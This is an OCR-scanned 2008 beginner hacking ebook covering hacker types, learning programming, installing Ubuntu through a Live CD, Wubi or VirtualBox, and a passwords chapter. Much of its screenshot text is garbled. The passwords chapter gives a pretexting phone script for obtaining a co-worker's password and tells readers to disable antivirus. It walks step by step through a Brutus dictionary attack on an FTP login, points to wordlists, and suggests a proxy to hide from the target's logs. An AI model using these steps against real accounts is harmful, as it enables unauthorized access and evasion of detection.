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Copyright Notice

This report may not be copied or reproduced unless specific permissions
have been personally given to you by the author David Melnichuk. Any
unauthorized use, distributing, reproducing is strictly prohibited.

Liability Disclaimer

The information provided in this eBook is to be used for educational
purposes only. The eBook creator is in no way responsible for any misuse of the
information provided. All of the information in this eBook is meant to help the
reader develop a hacker defense attitude in order to prevent the attacks
discussed. In no way should you use the information to cause any kind of
damage directly or indirectly. The word “Hack” or “Hacking” in this eBook
should be regarded as “Ethical Hack” or “Ethical hacking” respectively.

You implement the information given at your own risk.

© Copyright 2008 Learn-How-To-Hack.net. All Rights Reserved.
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Chapter One

Introduction



How can | use this eBook?

Congratulations! By purchasing this eBook, you have taken your first step
in the exciting process of becoming a Master Hacker. The knowledge you acquire
from this eBook can be put to use in many ways:

e With the ability to think like a hacker, you’ll be able to protect yourself
from hackers attacking you.

e You may wish to seek a career in Ethical Hacking — Usually hired by an
organization, an ethical hacker uses the same tools and techniques as a
hacker to find and secure vulnerabilities in computer systems.

O http://www.jobster.com/find/US/jobs/for/ethical+hacker
O http://www.indeed.com/g-ethical-hacker-jobs.html

e Show off your newfound skills to your friends, and just hack because you
want to. It’s FUN!!

What is a hacker?

A hacker is someone who likes to tinker with electronics or computer
systems. Hackers like to explore and learn how computer systems work, finding
ways to make them do what they do better, or do things they weren’t intended to
do. There are two types of hackers:

White Hat — These are considered the good guys. White hat hackers don’t use
their skills for illegal purposes. They usually become Computer Security experts
and help protect people from the Black Hats.

Black Hat — These are considered the bad guys. Black hat hackers usually use their
skills maliciously for personal gain. They are the people that hack banks, steal
credit cards, and deface websites.

These two terms came from the old western movies where the good guys wore
white hats and the bad guys wore black hats.
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Now if you’re thinking, “Oh boy! Being a black hat sounds awesome!”, Then | have
a question for you. Does it sound cool to live in a cell the size of your bathroom
and be someone’s butt buddy for many years? That’s what | thought.

Hacker Hierarchy

Script kiddies — These are the wannabe hackers. They are looked down upon in
the hacker community because they are the people that make hackers look bad.
Script kiddies usually have no hacking skills and use the tools developed by other
hackers without any knowledge of what’s happening behind the scenes.

Intermediate hackers — These people usually know about computers, networks,
and have enough programming knowledge to understand relatively what a script

might do, but like the script kiddies they use pre-developed well-known exploits (-
a piece of code that takes advantage of a bug or vulnerability in a piece of software that allows

you to take control of a computer system) to carry out attacks

Elite Hackers — These are the skilled hackers. They are the ones that write the
many hacker tools and exploits out there. They can break into systems and hide
their tracks or make it look like someone else did it. You should strive to
eventually reach this level.

What does it take to become a hacker?

Becoming a great hacker isn’t easy and it doesn’t happen quickly. Being
creative helps a lot. There is more than one way a problem can be solved, and as
a hacker you encounter many problems. The more creative you are the bigger
chance you have of hacking a system without being detected. Another huge
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quality you must have is the will to learn because without it, you will get
nowhere. Remember, Knowledge is power. Patience is also a must because many
topics can be difficult to grasp and only over time will you master them.



Chapter Two

Programming



Do | Really Need It?

You might be asking yourself, do | even need to learn a programming
language? The answer to that is both yes and no. It all depends on what your
goals are. Nowadays, with all the point and click programs out there, you can be a
fairly good ethical hacker without knowing any programming. You can do some
effective hacking if you understand all of the security tools very well. Even if you
understand what’s going on in the background of these programs, most people
will still classify you as a script kiddie. Personally | think you should learn some
programming. Even if it’s the very basics, it’ll give you a much better
understanding of what’s going on. Also, once you learn how to program well,
you’ll be able to develop your own exploits, which is great in many ways:

1. You’ll be considered an elite hacker.

2. Imagine a black hat discovers a vulnerability and codes an exploit for it
that no one else knows about. The black hat would be able to take down
thousands of machines before anyone discovers and patches the
vulnerability.

3. You will feel so much more satisfied having created your own program
or exploit. | promise you this.

So my advice is, don’t settle for being a point and click hacker. Take some time to
understand even just the basics of programming and an entire new world of
hacking will open up to you.

Where should | start?

Many people finally decide that they are going to begin learning a
programming language, but don’t know where to start. | believe that before you
begin to learn a programming language, you should first master HTML (HyperText
Markup Language). HTML is part of what makes up all of the website pages you
see on the internet. HTML is very easy to learn and it’ll get you used to looking at
source code.
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From there | would suggest starting your programming life with C. Cis one

of the most popular languages, and it is what makes up the majority of the

exploits out there today. C also makes up some of the most powerful hacking

programs and viruses that are out there today.

Best way to learn

So how should | go about learning the programming language of my choice?

1.

Purchase a beginners book on your programming language. Before you
choose the book, make sure you read the reviews to make sure it’s a
good choice.

. Itis important that once you begin learning the programming language

through your book, you don’t take big breaks. Taking long breaks will
cause you to forget things you learned in the beginning that apply to the
rest of the book.

. Do ALL of the practice problems provided in the book. The only way you

will become better is by applying what you learn.

When something difficult comes up or something that makes no sense
to you, don’t avoid or skip it. Instead embrace it! This is how you
actually learn. If you still don’t understand it after going over it multiple
times, find someone that can help you.

. Join a programming forum. Search for a website on your programming

language that has a large user base. There will be many professionals on
there that will be able to help you when you get stuck.

Practice. Practice Practice. Think of ideas for fun programs that you
could make and program them!
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Chapter Three

Linux
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What is it?

Linux is a free, open-source, UNIX-like operating system. As you continue to
learn how to hack, you will realize how important it is to learn how to use the
Linux operating system. Need some convincing? Here are a couple facts:

1. Millions of servers on the internet run on the Linux operating system.
You must learn the operating system to be able to penetrate these web
servers.

2. Some of the best hacking programs only run on Linux.

Choosing a distribution

A Linux distribution is the Linux kernel (- central component of an operating
system.) plus a collection of applications. If you are a beginner to Linux, | would
suggest starting with Ubuntu as your first Linux distribution. It is simple to install
and very user friendly. To see a full list of the most popular distributions can go to
http://distrowatch.com .

Running Linux

There are many ways to get Linux up and running. | will show you the most
popular methods below.

Live CD

Live CD’s are usually used to test and play around with a Linux distribution.
With a Live CD, you do not have to install the OS (operating system) onto your
hard drive because it runs off the disc on boot. Because it is running off a disc, you
won’t be able to permanently modify any system files. Everything you do will be
stored temporarily in your RAM. Below are the steps to create a Live CD.
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1. Download the Ubuntu Live CD .iso file from www.ubuntu.com .

Ubuntu 8.10 : Coming Soon Whowy yem

Can't wait? Download the beta now. Test it and give us

your feedback to make an even better release L]
Upgrade
e-release twe don't
0% Get Ubuntu About Ubuntu
Dovwnload Ubunt fo
ot ﬁg:r:.ggue;t%nﬁég%g mr Ubuntu is @ community developed, Linux-based operating system that is
buy it on DWD or (D perfect for laptops, desktops and servers, It containg all the applications
vou need - a weh browser, presentation, document and spreadshest
software, instant messaging and much more.
Get Support
@ Free documentation and Leam%nre about Ubuntu » - Take the desktop tour »

cormunity support, of by
professional support

Desktop Edition

Get Involved

Share technical know-how
with other users, or help to
promote Ubuntu

Press Roomn

Get Developing Ubuint server tearm wants o
. Share your developrment L L know — how do you Ubunti?
expertise and help shape Learn fmore » Learn more » 25t September, 20060

the future of Ubuntu

The Ubuntu promise Canonical to Offer vahoo!

B latest news (RSS fead « Ubuntu will always be free of charge, including enterprise Zimbra DESktD_ through Ubuntu
releases and serurity updates. Partrier Repositry

» Ubuntu comes with full commercial support from Canonical and D WEVE, ET0D

hundreds of companies around the warld, .
» Ubuntu includes the very best translations and accessibility Unison released for Ubunt to
infrastructure that the free software community has 1o offer. bring unifisd communications o
» Ubuntu CDs contain only free software applications; we L
encourage vou o use free and open source software, improve it 5th August, 2006

and pass it on.
MNews archive »

Read mare about the Ubuntu philosophy

® Products  ® Support  ® Community ™ Partners  ® News

475 ubuntu
ks

3 ubuntu™

Seaich

Get Certified

Ubuntu Training

Get Ubuntu learm mofes
» What is Ubuntu? You are here: Home * Get Ubuntu - Download, request a €0, or buy on COJDWD
v Get Ubunt 2
- Befe=d] How can you get Ubuntu?
» Purchase There are now three ways for you to get Ubuntu, Just choose the delivery option that works best for you:

» Request CDs —
| “¥ pownload Ubuntu @ Buy Ubuntu on CD @ Request free CDs

» Release Nokes —

» Upgrading

» Countdown

» Mirror Ubuntu

|;| Download now - Download the Ubunty, Edubuntu or Kubuntu CD installer to your computer now,
» Software Catalogue

Please mate. the CD Instatler is nearly 7000, I you dort fiave 3 iGst irtennet conmection you may wanat o

» Merchandise consider requesting & €D,

» Case Studies

(’”T: Buy on CD or DYD - Buy a CD or DVD with Ubuinty, Edubunt o Kubunty CO, or & large nurmber of CDs

al from a distributor near you, If you are in North America you can get Ubuntu and Kubuntu on DYD from
) - Get Ubuntu Amazon.com.
@ Get Support .@ Request a free CD - Request a free Ubuniy, Edubuntu or Kubuntu €0 from Canonical.

® Delivery typically takes 6-10 weeks

* Use each CD as many times as you like - you are free to use it on as many computers as you wish
and 1o pass on to others

® Learn more by visiting the Shipit Questions page.

# Get Involved

= -

Get Developing

8

14


http://www.ubuntu.com/�

r

» VWhat is Ubunb?

<75 ubuntu

¥ Get Ubuntu

» Download

» Purchase

» Request CDs
» Release Notes
» Upgrading

» Countdown

» Mirror Ubuntu

» Sioftware Catalogue

» Merchandise

» Case Studies

]

-

3] Get Ubuntu
¥

@ Get Support
240
m # Get Involved

=57 et DRvelnning

® Products ™ Support  ® Community  ® Partners ® News

Search

Get Certified

Ubuntu Training
Get Ubuntu learn mores

You are here: Home » Get Ubunty » Downlead Ubuntu

The fastest way for most people to get Ubuntu is by downloading the CD Installer. The CD Installer is nearly 700MB, If you
don't have a fast internet connection you may want to consider requesting a CD.

| ¥ pownload Ubuntu Buy Ubuntu on CD

\ ) Request free CDs

Which release do you want?

| ® ubunt .04 LTS Desktop Eaftion - Supported 1 2011 |
Ubuntu 8.04 LTS Server Edition - uppurgd w201

The 4 75" varsion of Uty receives long-tarm support, 3 years for geskiop varsions amd 5 pears iy servar versions.

hat type of computer do you have?
LB oL £ Choose the ap-
@ standard personal computer (x86 architecture, Pentium™, Celeron™, Athlon™, Sempron™) propriate one
© B4bit AMD and Intsl computers for your system.
|Choose a location near you |
]

a Start Download

[ chieck here if you need the altsrnate desktop CO. This CD does not include the Live CD, instead it uses a text-based
installer,

Your Download Should Begin Shortly [ See all the
t\'\ 'Y latest gear

If your download does not start in approximately 15 seconds, you can click here to launch 4 for 8.04 @
the download. § The Ubuntu Store
including the

[ limited edition

Download URL: hitp:/fubuntu, media. mit. eduibuntu-releases hardy fubuntu- heron t-shirt

9.04. 1-deskiop-i326.is0

Ubuntu Edition: Ubuntu 8.04.1 desktop

Computer Platform: 336

Download Location: http://ubuntu, media. mit.edufubuntu-releases/

While UPEHiﬂE ubuntu-8.04%1-deskiop=1366.150 1 Ubunitu tems including a limited edition Heran

t-ghirt,
‘You have chosen to open
Need { § ubuntu-8.04.1-desktop-i386.iso
which is a: PowerISO File
Here a from: http:f fubuntu, media,mit.edu want to print this page for your reference.
. What should Firefox do with this file? s Lheb.ubuntuLcom/community
ol ith | Py 150 {default -~ .
. O gpen wih_|Power150 (dsfauk) | ]. bUNtLLCoT feomm rmurity HowToMD 5SUM
. |@ ave File |
]
* [] Da this autamatically For Files like this from now on, I
A listinfio/ubuntu-users
m munity MChatHowto
| oK I Canicel portipaid
. ved,

2. Download and install IsoRecorder at
http://isorecorder.alexfeinman.com/isorecorder.htm and burn
the Ubuntu .iso file onto a blank CD with the software.
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Once you have downloaded and installed the IsoRecorder software
locate the Ubuntu image file, right click and select Copy image to CD
and follow the rest of the steps shown in the image.

File Edit View Favorites Tools Help

Q Back ~ ? W) Search Folders Elv (P:_\ Folder Sync

address |[) C\DownloadsiLinux > B

File and Folder Tasks x @
IE]E Rename this file

[y Move this file OD

D Copy this Fle @5can ubuntu-8.04, 1-deskkop-i386.iso
& Publish this file to the Web Hex Edlt with Hex Workshop v
S Open With 4
£3) E-mail this file B add to archive. ..
¢ Delete this file 8 Add o "ubuntu-8.04.1-desktop-i386.rar"

[ Compress and email...

B Compress to "ubuntu-8.04, 1-desktop-i386.rar” and email
EEExtract files. ..

() Downloads EEExtract Here

u:‘l My Documents B Extract to ubuntu-5.04, 1 -desktop-i356),

Other Places S

i PowerIso 3
|5 Shared Documents
§ My Computer Send To N
& My Network Places cut
Copy
Details * Create Shorkcuk
Delete
ubuntu-8.04.1-desktop-i386 Rename
150 File
Properties

Date Modified: Wednesday, July
02, 2008, 10:47 AM

Size: 694 MB

['Reconding g

SoUrce

@ () Image File C:\DownloadsiLinus:iubunku-8.04, 1-desk E]
(@ e

Recorder

D Blank Writable Usable v

Cancel | Neqf I
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Recording. ..

0%

Operation has been completed. Click "Finish" to exit ISO Recorder

3. Restart the computer with the newly made CD in the CD-ROM.

If your computer doesn’t boot from the CD and continues into Windows, you
must change your computer’s boot order. You can do this by restarting your
computer and going into BIOS. You get there by hitting the correct key constantly.
If you see the Windows screen, it means you missed it. The key varies from
system to system. Usually it is a function key such as F10. It may also be the DEL
or ESC key. The key should be shown on your screen immediately after you boot
up your computer. It is usually the key pointing to “Setup”.
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Setup gets you
into the BIOS

www.dell.com

Bimemsion 3888 Series

BINS Bewision AEZ

Picture property of www.cyberwalker.com

Once you are in the BIOS, select “Boot Sequence” and make sure CD-ROM is set
to the first one. If it’s not, move it up. All what this does is makes sure your CD-
ROM boots before your hard drive.
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:HJEtEH Time ........... Look for “

Susten Date B 3at Aug 19, ZBBE

Brive Comfiguration ...c . . ..iiivivanndniniiininine e ENTERY
Hard-Disk Brive Se~ O T N T TR 4+ )1 ¢ 4
Boot Sequemce ............... : ... (ENTER}

Hewory) Informabion ........oocniveiiiiiniiiinnnniiines KENTER
CIU Tnformddion ......cco00niiamnasnnnesinnnsnnenees {OITERD

Integrated Bevices (LegacySelect Options) {ENTER?

Power Management {ENTER}
Systen Secarily .

SPACE,+,- to change | BSC to exit | Fldlelp |

Picture property of www.cyberwalker.com

J 1. IDE CD-ROM Device
Drive Configu 2. Hard-Disk Drive C:
Hard-Disk Dri
Boot Sequence

C<ENTER>

Henory Information . g
CPU Information .... m«cﬁm&m@mn (ENTER>
this example) is first

Integrated Devices (LegacySelect Options) <ENTER)
Power Hanagement
SUSTON'SBCATTEI . .o v i iaiwin s ara mis/a s s ain i einrsm e W g a0 <o CENTER>

Picture property of www.cyberwalker.com

If all went well, you should see the Ubuntu boot options screen.
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Try Ubuntu without any change 1o your computer

Boot Options :seed/ubuntu.seed boot=casper initrd=scasper/sinitrd.gz quiet splash —-

F1 Help F2 Language F3 Keuymap F4 Modes F5S Accessihility F6 Other Options

You will first see a window full of countries. Once you select yours you will see the
main Ubuntu screen. From here choose the first option to try Ubuntu without any
risks. Once the Ubuntu desktop has loaded and you decide you like what you see,
you have the option to install it by clicking on the install button on the desktop.

Wubi
Wubi is my favorite option. With the Wubi installer you can install
and uninstall Ubuntu as any other Windows application. You can use the
Live CD version to install Wubi if you followed the steps above and
downloaded it. Or you can download the full 5 gigabyte version from
http://wubi-installer.org/ .

1. If you downloaded the full 5 gigabyte file, double click it to run it. If you
are using the previously downloaded Live CD version, then insert your
Ubuntu Live CD. A Ubuntu CD menu should come up.
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S Ubuntu CIYMent

Dermo and Full installation

Try Ubuntu withoot installing! Simply rebook wour machine with
the 0 in the tray. You may perform a full installation From
within the demo toinskall Ubuntu either alongside \Windows ar
as the only operating syskem.

Install inside Windows I
Install and uninstall Ubuntu like arty other application, without

the need for a dedicated partition. ¥ou will be able to book
into either Windows or Ubuntu, Hibernation is not enabled in
this mode and disk perfarmance is slightly reduced.

Learn mare ]

Ubuntu is a free, cammunity developed, linux-based operating
syskem complete with a web browser, produckivity software,
instant messaging, and much more.,

Cancel

2. Choose: Install inside Windows
3. In the next window, choose the appropriate options and click install.

b unto Setup

Flease select username and password For the new account

o e‘ You are about to install Ubuntu-8.04.1
-

Installation Drive {69 GE free): Language:
m |C: M m |English M

Installation Size (GE): Usernamea:
] & e |
Passward:
Desktop Environment: — | LI TITTTITITITY] |
ﬁ |LII:uuntu B] |i| |uuuuu-uu |

Rew 505

ficcessibility ]l Install I [ Cancel
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4. Wait for it to fully install and hit finish. Simple, eh?

& S UbonturSetup

Installing Ubuntu-8.04.1

.f f ' Please wait while the required files are retrieved and prepared
<
R§reating image...

159.8 ME (21,9%) of 728.2 ME

Rew 505

< Back Mexk =

K SUbonta Setup

Completing the Ubuntu Setup
Wizard

Please remove any COfOYD and rebook to complete the
installakion,

(¥ peboot now

{31 weank to manually reboot later

< Back, Cancel
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5. Reboot the computer. Before Windows loads, a screen will come up that
gives you an option to boot into Windows or Ubuntu. Arrow down to
Ubuntu and hit <ENTER>.

6. Ubuntu will begin to load. Since this is your first time starting Ubuntu, it
will install and configure a bunch of things, and restart again.

7. Boot into Ubuntu again and you’re good to go!

VirtualBox

This is by far my favorite way to run any Linux distribution if | just want to
try it out. With VirtualBox you can run Linux within a Windows or Mac computer.

1. First download VirtualBox at
http://www.virtualbox.org/wiki/Downloads .

2. Install it.

3. Open it up and click New on the top.

¥ Sun xVM VirtualBox

File  Machine Help

o ;
e Settings  Delste Skark  Discard

4. Hit Next.

(" Create New Virtual Machine

Welcome to the New Virtual Machine Wizard!

This wizard will guide you through the steps that are
necessary to create a new virtual machine For VirtualBosx.,

Use the Mext button ta go the next page of the wizard and
the Back button to return ko the previous page.

< Back | NEXt:’%J [ Cancel
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5. Name it and choose Ubuntu from the drop-down list.
5;" Create New Virtual'Machine

VM Name and OS Type

Enter a name for the new wirtual machine and select the type
of the guest operating system vou plan to install onto the
wirtual machine.

The name of the virtual machine usually indicates its software
and hardware configuration. It will be used by all WirtualBox
compaonents to identify wour virtual machine,

Mame

|L|buntu |

05 Type

|Ubuntu M

l < Back ]l Mexk = I\l[ Cancel ]
b

6. Choose the amount of RAM you would like to dedicate to running
Linux. Choose about % to % of your total RAM. | have 2 gigs of RAM,
so | chose 512 MB.

% Create New Yirtual Machine

Memory

Select the amount of base memory (RAM) in megabytes to be
allocated ko the wirtual machine,

The recommended base memary size is 256 MB.

Base Memary Size
-

512 ME

4 MB 3584 MB

< Back ]l Next:sr\ejl Cancel
L2

7. Hit Next.
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N Create New Yirtual Disk

Welcome to the Create New Virtual Disk Wizard!

This wizard will help wou ko create a new virtual hard disk
image fFor wour virtual machine.

IUse the Mext button ko go to the next page of the wizard and
[:%he Back button to return to the previous page.

< Back I Mexk = I ’ Cancel ]

8. Here we choose whether we would like to create a dynamic or fixed
hard disk image. If you have lots of space on your hard disk, | would
go with a dynamic image so if you choose to download lots of
programs it won’t be a problem. If you have limited drive space, you
should go with a fixed-size image so that you don’t have to worry
about going over too much.

'Ef' Create New Virtual Disk

Virtual Disk Image Type

Select the type of virtual hard disk image you want to create.

A dynamically expanding image initially occupies a very
small amount of space on yaur physical hard disk. Tt will grow
dynamically {up to the size specified) as the Guest O3 claims
disk space.

4 fixed-size image does not grow, It is stored in a file of
approximately the same size as the size of the virtual hard
disk. The creation of a fixed-size image may take a long time
depending on the image size and the write performance of
your harddisk.

Image Tvpe
(%) Dynamically expanding image

() Fixed-size image

< Back ] | Mext = I\QJ [ Cancel
b
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9. Choose the amount of gigabytes you would like to dedicate to
running Linux. | would go with 2 GB at the least.

Create New Virtoal' Disk

Virtual Disk Location and Size

Press the Select button to select the location and name of
the File ko stare the wirkual hard disk image ar type a File name
in the entry Field,

Image File Mame

Lbuntu |

Select the size of the virtual hard disk image in megabytes,
This size will be reported to the Guest OS5 as the size of the

wvirtual hatd disk.

Irnage Size
q

< Back ]l Mexk = J}[ Cancel

L.

10. Simply hit Finish.

Create Mew Virtual Disk

Summary

‘fou are going to create a new virtual hard disk image with the
following parameters:

Tvpe: Dynamically expanding image

Laocation: C:
\Documents and SektingsiDavid MY, YirtualBox\YDIL

Sizen Z.00 5B (2147483645 Bytes)
1l |

If the above setkings are correct, press the Finish button,
Once wou press it, a new hard disk image will be created.

< Back ] I Finis%J Cancel
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11. It automatically selects the image you just created. Hit Next.

Create Mew Virtual Machine

Virtual Hard Disk

Select a hard disk image to be used as the book hard disk of
the wirtual machine, You can either create a new hard disk
using the Mew button or select an existing hard disk image
from the drop-down list or by pressing the Existing button
{tainvaoke the Virtual Disk Manager dialoag).

If wou need a more complicated hard disk setup, wou can also
skip this step and atkach hard disks later using the ¥M Settings
dialog.

The recommended size of the boot hard disk is 2048 ME.

Book Hard Disk, {Primary Masker)
|Ubuntu.vdi {C:\Documents and SettingsiDavid M'I,.Virtlm

[ Mew, ., H Existing...

[ < Back ]l Mext = ’\L[ Cancel
L

12. You’re almost done! Hit Finish.

Create New Virtual'Machine

Summary

‘fou are going ko create a new virtual machine with the
fFollowing parameters:

Marne: Ubuntu
03 Type: CtherfUnknown
Base Memory: 512 MB
Boot Hard Disk: Ubuntu, wdi (C:
\Documents and SettingsiDavid M, VirtualBox

[<_] 1] I m

If the above is correct press the Finish button. Once vou
press it, a new virtual machine will be created.

Maoke that you can alter these and all okher setting of the
created virkual machine at any time using the Settings dialog
accessible through the menu of the main window,

< Back ]l Finish ’\l l Cancel
b
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13. You are now back at the main page. Here you will click CD/DVD-
ROM.

{:} {5} % !% {L/ £ Detais } Snapshats | G Description

Wew  Seftings Delete  Start Discard El General
Name Uburtu

Ubuntu 05 Type Uburtu

QF
~ Base Memory 600 MB
Oanered off
(5] Yidea Memary &M

Book Order Floppy, CDJDVD-ROM, Hard Disk
BCPT Enabled
10 &PIC Disabled
YT-xfAMDY Disabled
PAE[N Disabled

(S Hard Disks
IDE Primary Master asdf vdi [Normal, 3.00 G&]

® (D/DVD—R;B

Nok mounte:

[E) Floppy

Nok mounted

o Audio
Disabled

&P Network
Adapter 1 PCret-FAST IIT (MAT)

£ Serial Ports
Disabled

usB
Disabled

[ Shared Folders
None

Remote Display
Disabled

14. Check Mount CD/DVD Drive and choose ISO Image File.

FH Ubunti - Settings

B Genera CD/DVD-ROM

@ Hard Disks

(&) COOYD-ROM Mount CO{DVD Drive
Flappy ) Huost COJOWD Drive
Qi* Audio |D:

B Metwork Enable Passthraugh
@ Sitial Forts (%) 150 Image File

g us I | @L%

2 shared Folders
Remote Display

Inwokes the Yirtual Disk Manager to select a COYDYWD image bo mounk,

_ﬂ Inwalid settings detected [al'4 Cancel ] [ Help
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15. If you downloaded the Ubuntu image file in the beginning, locate it
and select it. If you haven’t downloaded it yet, go to the beginning of
this chapter where | have a step-by-step guide.

21 Virtual Disk Manager

r

II Select a COMDVD-ROM disk image Tile

Look in: I 23 Linux

_Fé \sgubLInkU-8, 04, 1-deskkop-i3e6

My Recent
Documents

x| & ®3 ok Er

&

Desktop

My Documents

©

My Camputer

&

by WNetwark File narne: Iubuntu-B.D4.1 -desktop-i386 j Open
Places
Files of tppe: I CO/DWD-ROM images [*iza) ;I Cancel
Select | cancel [| Help

16. Hit Select.

€1 Virtual Disk Manager

Actions

98 8 9 @

Mew  add  Remowve Release  Refresh

& Hard Disks @ CD/DYD Images Floppy Images

Mame T Size
‘o Ubunku-&.04. 1 -desktop-i3g6, iso 694,49 MB

Location: C\DownloadsiLinuxiubuntu-5.04, 1 -deskkop-i386.isa
Afttached to: -

| Selec&g_l[ cancel || Hep |
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17. You will come back to where you started. Hit OK.

B Ubuntul- Settings

8 General CD/DYD-ROM
Hard Disks
&) CO/DVD-ROM Mount COYDYD Drive

Floppy ) Host CD/DYD Drive

e Audio |D:

EF Network Enable Passthrough

{5 Serial Ports (%) 150 Image File

ﬁ uss |ubuntu—8.04.1—desktnp—i386.iso(C:'l,annInads'l,Linux) M @

[l Shared Foldsrs
Rernoke Display

Sefect a retfngs cateqory from Ehe SsF on the faff side and move fhe mouse over 3
Feltings fem fo gef more mformadion,

| 0Ok Q[ Cancel ][ Help ]

18. You will now see the main screen again. Click on START in the top
left corner.

D B R (D D

Ty Settings  Delete Sta Discard

) Ubuntu
f%‘: (@) Powered OFF
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19. You will see Ubuntu boot up in a small pop-up screen. Choose the
option “Try Ubuntu”. If you see a list of countries instead of the list
shown below, select yours and hit <ENTER>. Make sure you are
working in the Virtual Environment by clicking into the Ubuntu
window.

Machine Devices Help

.t\r AN |'l_ AN~

1u tu
D for defects

Boot Options

F1 Help F2 Lan ge F3 Eeymap s F5 Accessibility F6 Other Options

SOHL = [®) Right ctl
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Learning Linux

Now that you have Ubuntu up and running you might be wondering what
to do next. You should now start to learn and eventually master the Linux
distribution of your choice. You’ll find that almost every distribution has a massive
community that is ready to help you, and it’s only a Google search away! For
example if you choose to stick with Ubuntu, http://ubuntuforums.org/ has a
community of 700,000 members! So if you have a question or problems ask away,
there will always be someone out there with a solution.

| would also recommend buying a book. Reading is the best way to gain
knowledge. Below | have a list of some great books you should take a look at.

e A Practical Guide to Linuxl Commands, Editors, and Shell Programming
e Understanding the Linux Kernel, Third Edition
e A Practical Guide to Ubuntu Linuxl
e How Linux Works

There are many websites on the internet dedicated to teaching the community
about Linux. Below | have a list of a few good ones:

e Official Linux Website

e Begin Linux
e Linux Tutorials

For those of you that are visual learners, below are two great video courses.

e |Introduction to Linux

e Ubuntu Linux Tutorials

The resources listed above are more than enough for you to master the ins and
outs of Linux. So choose a book, website, or video and begin to take in some more
knowledge!
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Chapter Four

Passwords
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Nowadays, passwords are the only form of security on most websites and
computer systems. It has become one of the most common and easiest ways for a
hacker to gain unauthorized access to your computer or network.

Password Cracking

Before we get into cracking passwords with programs, | will explain a
couple old-fashioned ways to obtain someone’s password.

Social Engineering — Social engineering is when a hacker takes
advantage of trusting human beings to get information from them.
For example, if the hacker was trying to get the password for a co-
workers computer, he (Even though | use “he”, hackers are of both
genders, and | just chose to use “he” in these examples.) could call
the co-worker pretending to be from the IT department. The
conversation could be something like:

Bob- “Hello Suzy. My name is Bob and I’'m from the IT
department. We are currently attempting to install a new
security update on your computer, but we can’t seem to
connect to the user database and extract your user
information. Would you mind helping me out and letting me
know your password before my boss starts breathing down my
neck? It's one of those days, ya’ know?”

Suzy would probably feel bad for Bob and let him know her password
without any hesitation. BAM! She got social engineered. Now the
hacker can do whatever he pleases with her account.

Shoulder surfing — Shoulder surfing is exactly what it sounds like. The
hacker would simply attempt to look over your shoulder as you type
in your password. The hacker may also watch weather you glance
around your desk, looking for a written reminder or the written
password itself.

Guessing — If you use a weak password, a hacker could simple guess
it by using the information he knows about you. Some examples of
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this are: date of birth, phone number, favorite pet, and other simple
things like these.

Now that we have the simple low-tech password cracking techniques
out of the way, let’s explore some high-tech techniques. Some of the
programs | will use in my examples may be blocked by your anti-virus
programs when you attempt to run them. Make sure you disable your anti-
virus program when you decide to download and explore them.

There are different ways a hacker can go about cracking a password.
Below | will explain and give an example of each way.

Dictionary Attacks

A dictionary attack is when a text file full of commonly used passwords, or a
list of every word from the dictionary is used against a password database. Strong
passwords usually aren’t vulnerable to this kind of attack. In the following
example, | will use Brutus, a very common password cracker, to show a dictionary
attack against an ftp server. Brutus is a Windows only program, but at the end of
this chapter | will list a couple more password crackers, some of which are made
for Mac, Windows, and Linux.

Before | get into the example, you must first know what an FTP server is.
FTP stands for File Transfer Protocol. FTP is a simple way to exchange files over
the internet. If a hacker got FTP access to my website, he could delete/upload
anything he wants on my server. An FTP address looks similar to a website
address except it uses the prefix ftp:// instead of http://. | set up an FTP server
on my computer so | could demonstrate. You can get Brutus at
http://www.hoobie.net/brutus/ .

1. First the hacker would choose a target. In this case it’s my home
computer and the IP address for your home computeris 127.0.0.1.

2. By going to ftp://127.0.0.1 | get a pop-up box asking for a username and
password.
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Authenticatinn Required @

9 Enter username and password For Frpeff127.0.0.1
User Mame: || I
Passwaord:

i 0K i [ Cancel ]

3. Next the hacker would launch a program similar to Brutus and attempt
to crack the password.

X FErutos - AETZ - waaw. hoobie. netfbrutus - (Jantary 2000)

File Tools Help

Target |12?.EI.EI.'I T_.,.pe| J Fauze | Stop |Elear|
Connection Options
Part |21 Connections © | 10 Timeout e .J &0 [
FTP Options %

b odify zequence [ Tryto stay connected for |Unlimite » | attempts

Authentication Dptions

[v Usze Username [ Single User Pasz Mode |'Word List

|lzer File |users.t:-:t Browsze Paz= File |wnrds_t:-:t Browsze

Pozitive Authentication Besultz

Target | Tvpe | Il sernarme Fasswaord |

4. Inthe target you put the IP address of the website and to the right
select the appropriate option, which in this case is FTP.

5. The default port is 21 but some websites change this to make them a
little more secure. If you find out that the portisn’t 21, you can find the
right one by doing a port scan. We will get into this later in the book.

6. If you don’t know any of the usernames for the FTP server, then you will
have to get a list of the most common usernames.

7. For a dictionary attack you will have to choose the pass mode Word List
and browse and select the file containing your word list. You can get
some good password lists at
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http://packetstormsecurity.org/Crackers/wordlists/ . Below are
examples of what a username and password list might look like.

File Edit Format Wiew Help

rdmin
administrator
Test

quest

root

backup

" Words - Notepad

File Edit Format Viey

aaa
ahc

academia
academic
acCcess I
ada

admin
administrator
adrian
adrianna
aerchics
airplane
alhany
alhatross
albert

alex
alexander

alf

algebra

alias

aliases

alice

alicia

alisa

alison

8. Once you hit Start the program will attempt to connect to the server and

9.

begin to try all the possible combinations from your lists.

Target 127.0.0.1 verified [A]
E&jned uzer file containing B users.

ned paszword file containing 818 Pazswords.
b asirnum fumber of authentication attermpts will be 4308 =
Engaging target 127.0.0.1 with FTF
T ing uzername; admin

| |

110 L admin B candy [ 87 Abtemnts net second Ectimated 135 8 remaining
If you're lucky, eventually it’ll get the right Username:Password

combination. As you can see below, it got the correct combination of
username — admin and password — password.
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Pozitive .-'-‘«uthentri\c:atiun Results

W

Target

Tupe

|l zermanme Fazswiord

127.0.01

FTP

admin pazsword

Located and inztalled 1 authentication plug-ins
Iritializing. ..

Target 127.0.0.1 verfied

Opened uzer file containing B uzers.

Engaging target 127.0.0.1 with FTP
Ting username: admin

TWing Username: adminiskrator

Opened pazsword file cantaining 818 Passwards.
b aximurn humber of authentication attempts will be 4308

Positive authentication at 127 .0.0.7 with User ; admin Pazsword : password [550 attempts)
P axirnurm total authentication attempts reduced to 4643

10. A smarter hacker would use a proxy when using a program like this.
What a proxy does is cloaks your IP address by sending your connection
request through another computer before going to the target. Thisis a
smart idea because as you will see in the image below, Brutus leaves a
huge log of your presence on the target server.

(0001 47] 10/23/2008 170109 PM

(0001 49) 10723/ 2008 17:07:03 PM
[000151) 1072372008 17:01:03 PM
[000151) 1042342008 17:07:03 PM
[000150) 10/23/2008 17:01:03 PM
[000150] 10/23/2008 17:07:03 PH
[000152) 1072372008 17:01:03 PM
[000152) 1072372008 17:01:03 PM
[000153) 1042342008 17:01:03 PM
